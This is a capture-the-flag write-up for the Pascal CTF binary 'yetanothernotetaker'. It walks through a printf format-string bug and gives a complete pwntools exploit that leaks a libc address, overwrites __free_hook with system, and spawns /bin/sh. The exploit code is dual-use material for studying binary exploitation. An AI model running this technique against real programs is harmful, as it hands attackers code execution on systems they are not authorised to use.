Post

Pascal CTF - yetanothernotetaker

Pascal CTF - yetanothernotetaker

YET ANOTHER NOTE TAKER

About the binary

The binary

1
2
t1b4n3@debian:~/ctf/pascalctf/yetanothernotetaker/challenge$ file notetaker
notetaker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./libs/ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=768a7bc2d2918ceb196b57bfa9528681820eae43, not stripped

The binary is a elf 64 bit executable, and it is not stripped which makes reversing a lot easier.

1
2
3
4
5
6
7
8
t1b4n3@debian:~/ctf/pascalctf/yetanothernotetaker/challenge$ pwn checksec notetaker
[*] '/home/t1b4n3/ctf/pascalctf/yetanothernotetaker/challenge/notetaker'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RPATH:    b'./libs/'

All mitigations are turned on except PIE

Reversing and Vulnerability Discovery

main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int32_t main(int32_t argc, char** argv, char** envp)
{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    init();
    char notes[0x108];
    memset(&notes, 0, 0x100);
    int32_t i;
    
    do
    {
        menu();
        char* cmd = malloc(0x10);
        memset(cmd, 0, 0x10);
        fgets(cmd, 0x10, stdin);
        __isoc99_sscanf(cmd, "%d", &i);
        free(cmd);
        int32_t choice = i;
        
        if (choice == 2)
        {
            printf("Enter the note: ");
            read(0, &notes, 0x100);
            notes[strcspn(&notes, u"\n…")] = 0;
        }
        else if (choice == 3)
        {
            memset(&notes, 0, 0x100);
            puts("Note cleared.");
        }
        else if (choice == 1)
        {
            printf(&notes);
            putchar(0xa);
        }
        
        if (i <= 0)
            break;
    } while (i <= 4);
    
    if (rax == *(uint64_t*)((char*)fsbase + 0x28))
        return 0;
    
    __stack_chk_fail();
    /* no return */
}

This function defines a note buffer that is 0x108 which will store our note. The program uses a heap chunk to get the user’s choice (This will be important later).

Choices

1
2
3
4
5
6
./notetaker 
1. Read note
2. Write note
3. Clear note
4. Exit
> 
  • Option 1 prints the note to stdout and has a FORMAT STRING vulnerability.
  • Option 2 Gets Input from stdin
  • Option 3 Clears the note buffer

Exploitation.

Strategy: Use the format string read vulnerability to leak a libc address and calculate the offset of the libc base address. Then use the format string write vulnerability again to overwrite the free hook and free a chunk that has the string /bin/sh.

Lets use the format string read to leak a libc address.

Format string read

The first address that is leaked is: 0x7ffff7bc4b28, we can use this to get the libc base address.

Calculate Libc Base Addr

1
2
3
libc = 0x00007ffff7800000
leak = 0x7ffff7bc4b28
print(hex(leak - libc)) # 0x3c4b28
1
2
3
4
n.write(b"%p")
leak = n.read()
leak = int(leak, 16)
libc.address = leak - 0x3c4b28

Now we can use the format string vulnerability to overwrite the free hook (libc.sym.__free_hook).

1
2
3
4
5
6
7
format_str = 8 
# fmtstr_payload(offset, {where:what}) 
p = fmtstr_payload(format_str, {libc.sym.__free_hook:libc.sym.system}) # 

# Trigger vuln
n.write(p)
n.read()

Now that we have overwritten the free hook with system()

free hook overwritten.

So to execute any command we just have place the command inside a heap chunk than free it.

1
2
3
4
5
char* cmd = malloc(0x10);
memset(cmd, 0, 0x10);
fgets(cmd, 0x10, stdin);
__isoc99_sscanf(cmd, "%d", &i);
free(cmd);

So we just have to enter out cmd when the program tries to get a option.

1
sla(b"> ", b"/bin/sh")

This will now pop a shell.

free hook overwritten.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class NoteTaker:
    def __init__(self):
        pass

    def read(self):
        sla(b"> ", b"1")
        data = rl()
        return data

    def write(self, data):
        sla(b"> ", b"2")
        sla(b"Enter the note: ", data)

    def clear(self):
        sla(b"> ", b"3")



def exploit():
    ##################################################################### 
    ######################## EXPLOIT CODE ###############################
    #####################################################################
    n = NoteTaker()
    n.write(b"%p")
    leak = n.read()

    leak = int(leak, 16)
    libc.address = leak - 0x3c4b28

    print_leak("libc", libc.address)
    
    format_str = 8

    p = fmtstr_payload(format_str, {libc.sym.__free_hook:libc.sym.system})
    
    n.write(p)
    n.read()
    sla(b"> ", b"/bin/sh")

FULL SCRIPT

This post is licensed under CC BY 4.0 by the author.